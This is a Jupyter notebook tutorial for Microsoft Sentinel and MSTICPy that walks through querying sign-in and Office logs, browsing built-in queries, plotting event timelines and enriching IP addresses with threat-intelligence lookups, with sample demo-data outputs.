This notebook takes you through some of the features of Microsoft Sentinel Notebooks and MSTICPy.
If you are new to notebooks we strongly recommend starting with the: A Getting Started Guide For Microsoft Sentinel ML notebooks.
After you've finished running this notebook, we also recommend:
Each topic includes 'learn more' sections to provide you with the resource to deep dive into each of these topics. We encourage you to work through the notebook from start to finish.
This cell installs/updates and initializes the MSTICPy package. It should complete without errors.
If you see errors or warnings about missing configuration, please return to the A Getting Started Guide For Microsoft Sentinel ML notebook or the Configuring your environment to correct this.
%pip install --upgrade --quiet msticpy
REQ_PYTHON_VER="3.8"
REQ_MSTICPY_VER="1.5.0"
# intialize msticpy
from msticpy.nbtools import nbinit
nbinit.init_notebook(
namespace=globals(),
extra_imports=["urllib.request, urlretrieve"],
friendly_exceptions=False,
)
pd.set_option("display.html.table_schema", False)
Note: you may need to restart the kernel to use updated packages.
We will use MSTICPy's QueryProvider()
class from MSTICPy to query data.
Some of the next section is a review of material contained in the A Getting Started Guide For Microsoft Sentinel ML notebook.
The query provider class has one main function:
Query results are always returned as pandas DataFrames. If you are new to using pandas look at the Introduction to Pandas section at the end of this notebook.
You can use this notebook with either live data queried from Microsoft Sentinel or with sample data downloaded from the Azure-Sentinel-Notebooks GitHub.
Run the following cell and use the option buttons to select which of these you want to use. The option buttons use a timeout. After 15 seconds the default of "Demo data" will be automatically selected.
data_opt = nbwidgets.OptionButtons(
description="Choose the data source",
buttons=["Microsoft Sentinel", "Demo data"],
default="Demo data",
timeout=15,
)
await data_opt.display_async()
VBox(children=(Label(value='Choose the data source'), HBox(children=(Button(description='Microsoft Sentinel',
Most of the code in the cell below handles download of demo data.
1. Demo is still downloaded even if chose Microsoft Sentinel (although this is
cached after the first download). The demo data
is used as a backup if the queries to the Microsoft Sentinel workspace return
no data.
2. If you see a warning "Runtime dependency of PyGObject is missing" when loading the
Microsoft Sentinel driver please see the FAQ section at the end of the
A Getting Started Guide For Microsoft Sentinel ML Notebooks notebook.
from urllib.request import urlretrieve
from pathlib import Path
from IPython.display import HTML
from tqdm.auto import tqdm
GH_URI = "https://raw.githubusercontent.com/Azure/Azure-Sentinel-Notebooks/master/{file_name}"
GH_FILES = {
"exchange_admin.pkl": "src/data",
"processes_on_host.pkl": "src/data",
"timeseries.pkl": "src/data",
"data_queries.yaml": "src/data",
"aad_logons.pkl": "src/data",
"host_logons.pkl": "src/data",
"alerts_list.pkl": "src/data",
}
def _get_gh_files(files):
tgt_path = Path("./asn_data")
tgt_path.mkdir(exist_ok=True)
for file, path in tqdm(files.items(), desc="File downloads", unit="file"):
file_path = tgt_path.joinpath(file)
if file_path.is_file():
continue
url_path = f"{path}/{file}" if path else file
urlretrieve(
GH_URI.format(file_name=url_path),
file_path
)
print("Files downloaded:", ", ".join(files.keys()))
def _update_timestamps(file):
if not file.endswith(".pkl"):
return
data = pd.read_pickle(file)
date_cols = data.select_dtypes('datetime').columns
for col in date_cols:
now_delta = pd.Timestamp("now") - data[col].max()
data[col] = data[col] + now_delta
if not date_cols.empty:
data.to_pickle(file)
print("Downloading sample files...")
_get_gh_files(GH_FILES)
for file in GH_FILES:
_update_timestamps(f"./asn_data/{file}")
# Create local data provider
qry_prov = QueryProvider("LocalData", data_paths=["./asn_data"], query_paths=["./asn_data"])
print("Local data query provider loaded")
qry_prov.connect()
# Create Microsoft Sentinel
qry_prov_azs = QueryProvider("AzureSentinel")
if data_opt.value and data_opt.value.casefold() != "demo data":
# Create Microsoft Sentinel provider and connect
qry_prov_loc = qry_prov
qry_prov = qry_prov_azs
display(HTML("""
<div style="color: White; background-color: DarkOliveGreen; padding: 5px">
<p style="font-size: 20px">Using Microsoft Sentinel as primary data source.</p>
<p>Please copy the code and click on the URL to authenticate
to Microsoft Sentinel if prompted to do so.</p>
</div>
"""
))
qry_prov.connect(WorkspaceConfig())
else:
display(HTML("""
<div style="color: White; background-color: DarkOliveGreen; padding: 5px">
<p style="font-size: 20px">Using local data as primary data source.</p>
</div>
"""
))
Downloading sample files...
File downloads: 0%| | 0/7 [00:00<?, ?file/s]
Files downloaded: exchange_admin.pkl, processes_on_host.pkl, timeseries.pkl, data_queries.yaml, aad_logons.pkl, host_logons.pkl, alerts_list.pkl Local data query provider loaded Connected.
Using Microsoft Sentinel as primary data source.
Please copy the code and click on the URL to authenticate to Microsoft Sentinel if prompted to do so.
Now that we have connected we can query Microsoft Sentinel for data.
Before we do that there are a couple of things that help us understand what data is available to query.
The AzureSentinel QueryProvider has a "schema_tables" property that lets us get a list of tables
as well the schema (column names and data types) for each table.
After that we'll look at the queries available.
Note: For local data this will just appear as a list of files.
# Get list of tables in our Workspace with the 'schema_tables' property
qry_prov.schema_tables[:10] # We are outputting only a sample (first 10) tables for brevity
# remove the "[:10]" to see the whole list
['AACAudit', 'AACHttpRequest', 'AADDomainServicesAccountLogon', 'AADDomainServicesAccountManagement', 'AADDomainServicesDirectoryServiceAccess', 'AADDomainServicesLogonLogoff', 'AADDomainServicesPolicyChange', 'AADDomainServicesPrivilegeUse', 'AADDomainServicesSystemSecurity', 'AADManagedIdentitySignInLogs']
# Display the schema for a single table
if qry_prov.environment == "AzureSentinel":
print(qry_prov.schema['SigninLogs'])
else:
md(
"Note: this is the schema of a local pandas DataFrame"
" that emulates the Microsoft Sentinel schema"
)
display(qry_prov.Azure.list_all_signins_geo().dtypes)
{ "AADTenantId": "string", "AlternateSignInName": "string", "AppDisplayName": "string", "AppId": "string", "AuthenticationDetails": "string", "AuthenticationMethodsUsed": "string", "AuthenticationProcessingDetails": "string", "AuthenticationRequirement": "string", "AuthenticationRequirementPolicies": "string", "Category": "string", "ClientAppUsed": "string", "ConditionalAccessPolicies": "dynamic", "ConditionalAccessStatus": "string", "CorrelationId": "string", "CreatedDateTime": "datetime", "DeviceDetail": "dynamic", "DurationMs": "long", "FlaggedForReview": "bool", "HomeTenantId": "string", "IPAddress": "string", "IPAddressFromResourceProvider": "string", "Id": "string", "Identity": "string", "IsInteractive": "bool", "IsRisky": "bool", "Level": "string", "Location": "string", "LocationDetails": "dynamic", "MfaDetail": "dynamic", "NetworkLocationDetails": "string", "OperationName": "string", "OperationVersion": "string", "OriginalRequestId": "string", "ProcessingTimeInMilliseconds": "string", "Resource": "string", "ResourceDisplayName": "string", "ResourceGroup": "string", "ResourceId": "string", "ResourceIdentity": "string", "ResourceProvider": "string", "ResourceTenantId": "string", "ResultDescription": "string", "ResultSignature": "string", "ResultType": "string", "RiskDetail": "string", "RiskEventTypes": "string", "RiskEventTypes_V2": "string", "RiskLevelAggregated": "string", "RiskLevelDuringSignIn": "string", "RiskState": "string", "ServicePrincipalId": "string", "ServicePrincipalName": "string", "SignInIdentifier": "string", "SignInIdentifierType": "string", "SourceSystem": "string", "Status": "dynamic", "TimeGenerated": "datetime", "TokenIssuerName": "string", "TokenIssuerType": "string", "Type": "string", "UserAgent": "string", "UserDisplayName": "string", "UserId": "string", "UserPrincipalName": "string", "UserType": "string" }
MSTICPy includes a number of built in queries. Most require additional parameters such as the time range and often an identifying parameter such as the host name, account name or IP address that you are querying for.
You also can list available queries from Python code with:
qry_prov.list_queries()
Get specific details about a query by calling it with "?" as a parameter:
qry_prov.Azure.list_all_signins_geo("?")
The query browser combines both of these functions in a scrollable and filterable list.
qry_prov_azs.browse_queries()
VBox(children=(Text(value='', description='Filter:', style=DescriptionStyle(description_width='initial')), Sel…
Parameters
Query
{table} | where TimeGenerated >= datetime({start}) | where TimeGenerated <= datetime({end}) | where Computer has "{host_name}" | take 1
Example
{QueryProvider}[.QueryPath].QueryName(params...)
qry_prov.Azure.get_vmcomputer_for_host(start=start, end=end, hostname=host)
Datetime strings are painful to type in and keep track of.
Fortunately MSTICPy has an easier way to specify time parameters for queries:
query_time
widget to set the default time range for queriesnbwidgets.QueryTime
class to set a customExample of using standalone nbwidgets.QueryTime
instance
timerange = nbwidgets.QueryTime(unit="day")
qry_prov.WindowsSecurity.list_host_logons(timerange, host_name="my_host")
qry_prov.query_time
VBox(children=(HTML(value='<h4>Set query time boundaries</h4>'), HBox(children=(DatePicker(value=datetime.date…
# The QueryProvider will automatically
# extract the "start" and "end" parameters from the query_time property to use in the query.
logons_df = qry_prov.Azure.list_all_signins_geo()
# You can also specify these parameters explicity
# logons_df = qry_prov.Azure.list_all_signins_geo(
# start=qry_prov.query_time.start,
# end=qry_prov.query_time.end,
# )
if logons_df.empty:
md("The query returned no rows for this time range. Using demo data.")
logons_df = qry_prov_loc.Azure.list_all_signins_geo()
# display first 5 rows of any results
logons_df.head() # If you have no data you will just see the column headings displayed
TenantId | SourceSystem | TimeGenerated | ResourceId | OperationName | OperationVersion | Category | ResultType | ResultSignature | ResultDescription | DurationMs | CorrelationId | Resource | ResourceGroup | ResourceProvider | Identity | Level | Location | AlternateSignInName | AppDisplayName | AppId | AuthenticationDetails | AuthenticationMethodsUsed | AuthenticationProcessingDetails | AuthenticationRequirement | ... | RiskLevelDuringSignIn | RiskState | ResourceDisplayName | ResourceIdentity | ServicePrincipalId | ServicePrincipalName | Status | TokenIssuerName | TokenIssuerType | UserAgent | UserDisplayName | UserId | UserPrincipalName | AADTenantId | UserType | FlaggedForReview | IPAddressFromResourceProvider | SignInIdentifier | SignInIdentifierType | ResourceTenantId | HomeTenantId | Type | Result | Latitude | Longitude | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:21.648000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 9558f30b-a1db-4676-a586-7db608bdaa69 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:21.6485011+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.73078155517578 | -78.17196655273438 | |||||||||
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 10:55:26.252000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | dac1edbe-1985-4f78-8d20-f4725e28b865 | Microsoft.aadiam | Microsoft.aadiam | On-Premises Directory Synchronization Service Account | 4 | US | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | Microsoft Azure Active Directory Connect | cb1056e2-e479-49de-ae31-7812af012ed8 | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T10:55:26.2522747+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Active Directory | 00000002-0000-0000-c000-000000000000 | {'errorCode': 0} | AzureAD | On-Premises Directory Synchronization Service Account | 2235a468-ad9c-4375-8008-0a7be76994a7 | sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Member | None | Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | SigninLogs | Sucess | 38.7130012512207 | -78.15899658203125 | |||||||||
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 11:36:15.896000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f | Microsoft.aadiam | Microsoft.aadiam | Arseny Vasilev | 4 | RU | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T11:36:15.8961297+00:00",\r\n "authe... | [\r\n {\r\n "key": "IsCAEToken",\r\n "value": "False"\r\n }\r\n] | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Arseny Vasilev | 9267d02c-5f76-40a9-a9eb-b686f3ca47aa | avasilev@viacode.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 5fccd68a-e65e-46ae-96b1-2d896d680249 | SigninLogs | Sucess | 59.93904113769531 | 30.3157901763916 | ||||||||||
3 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:50.274000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | d1c11047-9e6d-4814-80fc-334c453582a3 | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:50.2743176+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 | ||||||||||
4 | 8ecf8077-cf51-4820-aadd-14040956f35d | Azure AD | 2021-06-28 12:24:44.957000+00:00 | /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam | Sign-in activity | 1.0 | SignInLogs | 0 | None | 0 | 60855931-eec4-466c-a24e-ba630c087a3e | Microsoft.aadiam | Microsoft.aadiam | Koby Koren | 4 | IL | Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | [\r\n {\r\n "authenticationStepDateTime": "2021-06-28T12:24:44.9579314+00:00",\r\n "authe... | [\r\n {\r\n "key": "Login Hint Present",\r\n "value": "True"\r\n },\r\n {\r\n "key":... | singleFactorAuthentication | ... | none | none | Windows Azure Service Management API | 797f4846-ba00-4fd7-ba43-dac1f8f63013 | {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'} | AzureAD | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447... | Koby Koren | da48f21e-2f91-4c6a-9d30-56fd10a24672 | kobyk@microsoft.com | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Guest | None | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 72f988bf-86f1-41af-91ab-2d7cd011db47 | SigninLogs | Sucess | 32.16241073608399 | 34.84468078613281 |
5 rows 69 columns
Most built-in queries support the "add_query_items" parameter. You can use this to append additional filters or other operations to the built-in queries,
start=datetime.utcnow() - timedelta(20),
from datetime import datetime, timedelta
if qry_prov.environment == "AzureSentinel":
# Actually run the query if using Microsoft Sentinel data
display(
qry_prov.SecurityAlert.list_alerts(
start=datetime.utcnow() - timedelta(2),
end=datetime.utcnow(),
add_query_items="| summarize NumAlerts=count() by AlertName"
).head()
)
else:
# Emulate the results using pandas for local data
display(
qry_prov.SecurityAlert.list_alerts()
[["AlertName", "TimeGenerated"]]
.groupby("AlertName")
.count()
.rename(columns={"TimeGenerated": "NumAlerts"})
.head()
)
AlertName | NumAlerts | |
---|---|---|
0 | Suspected brute-force attack (LDAP) | 115 |
1 | Users with Greater Than 1 City | 4 |
2 | Incident and Automation testing 01 | 543 |
3 | Malicious credential theft tool execution detected | 118 |
4 | TI map IP entity to AzureActivity (enriched) | 48 |
Another way to run queries is to pass a full KQL query string to the query provider.
This will run the query against the workspace connected to above, and will return the data in a Pandas DataFrame. We will look at working with Pandas in a bit more detail later.
Note: exec_query is not supported for local data.
# Define our query
test_query = """
OfficeActivity
| where TimeGenerated > ago(1d)
| take 5
"""
# Pass that query to our QueryProvider
if qry_prov.environment == "LocalData":
print("exec_query not supported for local data")
print(test_query)
else:
office_events_df = qry_prov.exec_query(test_query)
display(office_events_df)
TenantId | Application | UserDomain | UserAgent | RecordType | TimeGenerated | Operation | OrganizationId | OrganizationId_ | UserType | UserKey | OfficeWorkload | ResultStatus | ResultReasonType | OfficeObjectId | UserId | UserId_ | ClientIP | ClientIP_ | Scope | Site_ | ItemType | EventSource | Source_Name | MachineDomainInfo | ... | ChannelType | ChannelName | ChannelGuid | ExtraProperties | AddOnType | AddonName | TabType | Name | OldValue | NewValue | ItemName | ChatThreadId | ChatName | CommunicationType | AADGroupId | AddOnGuid | AppDistributionMode | TargetUserId | OperationScope | AzureADAppId | OperationProperties | AppId | ClientAppId | Type | _ResourceId | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 8ecf8077-cf51-4820-aadd-14040956f35d | 50 | 2021-06-28 12:29:44+00:00 | MailItemsAccessed | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Regular | 100320003F8A6FC7 | Exchange | Succeeded | Succeeded | MeganB@seccxp.ninja | MeganB@seccxp.ninja | ... | None | [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}] | 414a677a-e50f-46ea-b89c-aebb8a9efbe2 | OfficeActivity | |||||||||||||||||||||||||||||||||
1 | 8ecf8077-cf51-4820-aadd-14040956f35d | 50 | 2021-06-28 12:29:44+00:00 | MailItemsAccessed | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Regular | 100320003F8A6FC7 | Exchange | Succeeded | Succeeded | MeganB@seccxp.ninja | MeganB@seccxp.ninja | ... | None | [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}] | 414a677a-e50f-46ea-b89c-aebb8a9efbe2 | OfficeActivity | |||||||||||||||||||||||||||||||||
2 | 8ecf8077-cf51-4820-aadd-14040956f35d | ExchangeAdmin | 2021-06-28 12:29:33+00:00 | Set-User | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | DcAdmin | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | Exchange | True | True | NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com... | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | ... | None | None | OfficeActivity | |||||||||||||||||||||||||||||||||
3 | 8ecf8077-cf51-4820-aadd-14040956f35d | ExchangeAdmin | 2021-06-28 12:38:05+00:00 | Set-User | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | DcAdmin | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | Exchange | True | True | NAMPR06A007.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/seccxpninja.onmicrosoft.com... | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | NT AUTHORITY\SYSTEM (Microsoft.Exchange.Management.ForwardSync) | ... | None | None | OfficeActivity | |||||||||||||||||||||||||||||||||
4 | 8ecf8077-cf51-4820-aadd-14040956f35d | 50 | 2021-06-28 14:46:35+00:00 | MailItemsAccessed | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | 4b2462a4-bbee-495a-a0e1-f23ae524cc9c | Regular | 100320003F8A6FC7 | Exchange | Succeeded | Succeeded | MeganB@seccxp.ninja | MeganB@seccxp.ninja | ... | None | [{'Name': 'MailAccessType', 'Value': 'Bind'}, {'Name': 'IsThrottled', 'Value': 'False'}] | 414a677a-e50f-46ea-b89c-aebb8a9efbe2 | OfficeActivity |
5 rows 131 columns
Visualizing data can provide an excellent way to analyse data, identify patterns and anomalies.
Python has a wide range of data visualization packages each of which have their own benefits and drawbacks.
We will look at some basic capabilities as well as one of the visualizations in MSTICPy.
Basic Graphs
Pandas and Matplotlib provide the easiest and simplest way to produce simple plots of data:
# Plot up to the first 5 IP addresses
plot_df = logons_df
if len(plot_df) > 100:
plot_df = plot_df[:100]
plot_df["IPAddress"].value_counts().plot.barh(
title="IP prevelence", legend=False, figsize=(8, 8)
);
# If we have lots of data just plot the first 5 rows
plot_df['IPAddress'].value_counts().plot.pie(
figsize=(8, 10), title="Share of Logons per IP"
);
Much like the built-in pandas "plot" function, MSTICPy adds an Event timelines plotting function to DataFrames.
Using the mp_timeline.plot() method on a DataFrame you can visualize the relative timing of events much more easily that from a data table.
Unlike the previous Matplotlib charts, the Event Timeline uses Bokeh plots making it interactive.
Using the toolbar buttons (to the left of the chart)
You can also use the Range Tool (the small graphic beneath the main timeline)
df.mp_timeline.plot(time_column="EventStartTimeUTC", ...)2. If there are a lot of logons in your query result the timeline may appear
from msticpy.nbtools.timeline import display_timeline, display_timeline_values from msticpy.nbtools.timeline_duration import display_timeline_durationdisplay_timeline - shows events as discrete diamondsdisplay_timeline(data, ...[other params])
disp_cols = ["UserPrincipalName", "IPAddress", "AppDisplayName", "Result"]
logons_df.mp_timeline.plot(
title="Logon events",
source_columns=disp_cols, # columns displayed in hover
)
logons_df.mp_timeline.plot(
title="Logon events by User",
source_columns=disp_cols, # columns displayed in hover
group_by="Result",
)
group_by
parameter to partition the data¶logons_df.mp_timeline.plot(
group_by="AppDisplayName",
source_columns=disp_cols
)
if hasattr(logons_df.mp_timeline, "plot_duration"):
logons_df.mp_timeline.plot_duration(
group_by="IPAddress",
)
else:
logons_df.mp_timeline.plot(
group_by="IPAddress",
source_columns=["AppDisplayName"],
)
Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources.
For this we are going to use an external threat intelligence provider to give us some more details about an IP address in our dataset using the MSTICPy TIProvider feature.
# Create our TI provider
ti = TILookup()
# Get the first logon IP address from our dataset
ip = logons_df.iloc[1]['IPAddress']
md(f"IP Address to lookup is {ip}")
# Look up the IP in VirusTotal
ti_resp = ti.lookup_ioc(ip)
# Format our results as a DataFrame
ti_resp = ti.result_to_df(ti_resp)
display(ti_resp)
Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank
IP Address to lookup is 40.76.220.11
Ioc | IocType | QuerySubtype | Provider | Result | Severity | Details | RawResult | Reference | Status | |
---|---|---|---|---|---|---|---|---|---|---|
OTX | 40.76.220.11 | ipv4 | None | OTX | True | information | {'pulse_count': 0, 'sections_available': ['general', 'geo', 'reputation', 'url_list', 'passive_d... | {'whois': 'http://whois.domaintools.com/40.76.220.11', 'reputation': 0, 'indicator': '40.76.220.... | https://otx.alienvault.com/api/v1/indicators/IPv4/40.76.220.11/general | 0 |
OPR | 40.76.220.11 | ipv4 | None | OPR | False | information | IoC type ipv4 not supported. | None | None | 1 |
Tor | 40.76.220.11 | ipv4 | None | Tor | True | information | Not found. | None | https://check.torproject.org/exit-addresses | 0 |
VirusTotal | 40.76.220.11 | ipv4 | None | VirusTotal | True | information | {'verbose_msg': 'Missing IP address', 'response_code': 0, 'positives': 0} | {'response_code': 0, 'verbose_msg': 'Missing IP address'} | https://www.virustotal.com/vtapi/v2/ip-address/report | 0 |
XForce | 40.76.220.11 | ipv4 | None | XForce | True | information | {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... | {'ip': '40.76.220.11', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional I... | https://api.xforce.ibmcloud.com/ipr/40.76.220.11 | 0 |
ti_results = ti.lookup_iocs(logons_df[["IPAddress"]].drop_duplicates().head(), "IPAddress")
ti.browse_results(ti_results, severities=["information", "warning", "high"])
VBox(children=(Text(value='', description='Filter:', style=DescriptionStyle(description_width='initial')), Sel…
OTX | |
pulse_count | 0 |
sections_available | ['general', 'geo', 'reputation', 'url_list', 'passive_dns', 'malware', 'nids_list', 'http_scans'] |
{'accuracy_radius': 1000,
'area_code': 0,
'asn': 'AS8075 MICROSOFT-CORP-MSN-AS-BLOCK',
'base_indicator': {},
'charset': 0,
'city': 'Washington',
'city_data': True,
'continent_code': 'NA',
'country_code': 'US',
'country_code2': 'US',
'country_code3': 'USA',
'country_name': 'United States of America',
'dma_code': 511,
'false_positive': [],
'flag_title': 'United States of America',
'flag_url': '/assets/images/flags/us.png',
'indicator': '40.76.220.11',
'latitude': 38.7095,
'longitude': -78.1539,
'postal_code': '22747',
'pulse_info': {'count': 0,
'pulses': [],
'references': [],
'related': {'alienvault': {'adversary': [],
'industries': [],
'malware_families': []},
'other': {'adversary': [],
'industries': [],
'malware_families': []}}},
'region': 'VA',
'reputation': 0,
'sections': ['general',
'geo',
'reputation',
'url_list',
'passive_dns',
'malware',
'nids_list',
'http_scans'],
'subdivision': 'VA',
'type': 'IPv4',
'type_title': 'IPv4',
'validation': [{'message': 'In cloud provider range: provider=azure',
'name': 'Cloud Provider IP range',
'source': 'cloud'}],
'whois': 'http://whois.domaintools.com/40.76.220.11'}
None
VirusTotal | |
verbose_msg | Missing IP address |
response_code | 0 |
positives | 0 |
{'response_code': 0, 'verbose_msg': 'Missing IP address'}
XForce | |
score | 1 |
cats | |
categoryDescriptions | |
reason | Regional Internet Registry |
reasonDescription | One of the five RIRs announced a (new) location mapping of the IP. |
tags | [] |
{'categoryDescriptions': {},
'cats': {},
'geo': {'country': 'United States', 'countrycode': 'US'},
'history': [{'categoryDescriptions': {},
'cats': {},
'created': '2012-03-22T07:26:00.000Z',
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.0.0.0/8',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'asns': {'8075': {'Company': 'MICROSOFT-CORP-MSN-AS-BLOCK - '
'Microsoft Corporation, US',
'cidr': 10}},
'categoryDescriptions': {},
'cats': {},
'created': '2017-07-26T06:24:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2017-10-10T06:23:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'asns': {'8075': {'Company': 'MICROSOFT-CORP-MSN-AS-BLOCK - '
'Microsoft Corporation, US',
'cidr': 10}},
'categoryDescriptions': {},
'cats': {},
'created': '2017-10-18T06:23:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2019-05-19T06:52:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2019-05-21T14:39:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-01-17T09:09:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
'reason': 'Regional Internet Registry',
'reasonDescription': 'One of the five RIRs announced a (new) '
'location mapping of the IP.',
'score': 1},
{'categoryDescriptions': {},
'cats': {},
'created': '2020-03-21T07:52:00.000Z',
'deleted': True,
'geo': {'country': 'United States', 'countrycode': 'US'},
'ip': '40.76.0.0/14',
